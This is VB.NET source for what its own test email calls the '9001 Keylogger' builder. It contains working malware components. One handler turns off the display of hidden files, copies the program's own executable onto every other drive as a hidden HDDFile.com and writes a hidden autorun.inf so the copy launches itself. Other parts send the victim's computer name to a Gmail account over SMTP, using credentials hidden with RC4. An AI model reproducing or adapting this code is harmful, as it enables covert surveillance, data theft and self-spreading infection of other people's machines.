Imports System.IO
Imports System.Net.Mail
Imports System.Security.Cryptography
Public Class Form1
    Dim stub, text1, text2, interval As String
    Dim cb As Boolean
    Dim cb2 As Boolean
    Dim MyVar As String
    Const FileSplit = "@soulcollector@"
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        text1 = TextBox1.Text
        text2 = TextBox2.Text
        interval = Convert.ToString(NumericUpDown1.Value * 60000)

        If CheckBox1.Checked = True Then
            cb = True
        Else : cb = False
        End If

        If CheckBox2.Checked = True Then
            cb2 = True
        End If
    End Sub
    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        If TextBox1.Text = "" Or TextBox2.Text = "" Then
            MsgBox("The e-mail username or password is not valid. (check your settings)", MsgBoxStyle.Critical, "Error")
            Exit Sub
        Else
            Try
                Dim mail As New MailMessage
                mail.To.Add(TextBox1.Text)
                mail.From = New MailAddress(TextBox1.Text)
                mail.Subject = "9001 Keylogger Test"
                Dim smtp As New SmtpClient("smtp.gmail.com")
                smtp.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
                smtp.EnableSsl = True
                smtp.Port = 587
                smtp.Send(mail)
                MsgBox("Check your Gmail, Works Perfect!", MsgBoxStyle.Information, "Works")
            Catch ex As Exception
                MsgBox("The e-mail username or password is not valid. (check your settings)", MsgBoxStyle.Critical, "Error")
                Exit Sub
            End Try
        End If
    End Sub
    Private Sub CheckBox3_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox3.CheckedChanged

    End Sub

    Private Sub CheckBox5_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox5.CheckedChanged
        On Error Resume Next
        My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "Hidden", "0", Microsoft.Win32.RegistryValueKind.DWord)
        Dim sDrive As String, sDrives() As String, xDrive As String = My.Computer.FileSystem.SpecialDirectories.ProgramFiles
        sDrives = System.IO.Directory.GetLogicalDrives
        For Each sDrive In sDrives
            If xDrive.Contains(sDrive) Then
            Else
                My.Computer.FileSystem.CopyFile(Application.ExecutablePath, sDrive & "HDDFile.com", True, FileIO.UICancelOption.DoNothing)
                My.Computer.FileSystem.WriteAllText(sDrive & "autorun.inf", "[autorun]" & vbCrLf & "open=" & sDrive & "HDDFile.com" & vbCrLf & "shellexecute=" & sDrive, True)
                SetAttr(sDrive & "HDDFile.com", FileAttribute.Hidden)
                SetAttr(sDrive & "autorun.inf", FileAttribute.Hidden)
            End If
        Next
    End Sub



    Private Sub CheckBox7_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox7.Click
        Dim Username = rc4("mymail@gmail.com", "abcdefghj1m2lx12n3bu12biuiebasuidbuiasD")
        Dim Password = rc4("youracconutpassword", "asdnasobnuo23182bsdjbvjjdBASduashu12378128sad")

        Try
            Dim mail As New MailMessage
            mail.To.Add(rc4(Username, "abcdefghj1m2lx12n3bu12biuiebasuidbuiasD"))
            mail.From = New MailAddress(rc4(Username, "abcdefghj1m2lx12n3bu12biuiebasuidbuiasD"))
            mail.Subject = "From - " & My.Computer.Name
            mail.Body = "Some text here."
            Dim smtp As New SmtpClient("smtp.gmail.com")
            smtp.EnableSsl = True
            smtp.Port = 587
            smtp.Credentials = New System.Net.NetworkCredential(rc4(Username, "abcdefghj1m2lx12n3bu12biuiebasuidbuiasD"), rc4(Password, "asdnasobnuo23182bsdjbvjjdBASduashu12378128sad"))
            smtp.Send(mail)
            MessageBox.Show("The email was sent + your information is hidden & encrypted.", "", MessageBoxButtons.OK, MessageBoxIcon.Error)
        Catch ex As Exception
            MessageBox.Show("The email was sent + your information is hidden & encrypted", "", MessageBoxButtons.OK, MessageBoxIcon.Error)
            Exit Sub
        End Try
    End Sub
    Public Shared Function rc4(ByVal message As String, ByVal password As String) As String

        Dim i As Integer = 0
        Dim j As Integer = 0
        Dim cipher As New System.Text.StringBuilder
        Dim returnCipher As String = String.Empty

        Dim sbox As Integer() = New Integer(256) {}
        Dim key As Integer() = New Integer(256) {}

        Dim intLength As Integer = password.Length

        Dim a As Integer = 0
        While a <= 255

            Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))

            key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
            sbox(a) = a
            System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
        End While

        Dim x As Integer = 0

        Dim b As Integer = 0
        While b <= 255
            x = (x + sbox(b) + key(b)) Mod 256
            Dim tempSwap As Integer = sbox(b)
            sbox(b) = sbox(x)
            sbox(x) = tempSwap
            System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
        End While

        a = 1

        While a <= message.Length

            Dim itmp As Integer = 0

            i = (i + 1) Mod 256
            j = (j + sbox(i)) Mod 256
            itmp = sbox(i)
            sbox(i) = sbox(j)
            sbox(j) = itmp

            Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)

            Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)

            itmp = Asc(ctmp)

            Dim cipherby As Integer = itmp Xor k

            cipher.Append(Chr(cipherby))
            System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
        End While

        returnCipher = cipher.ToString
        cipher.Length = 0

        Return returnCipher

    End Function
End Class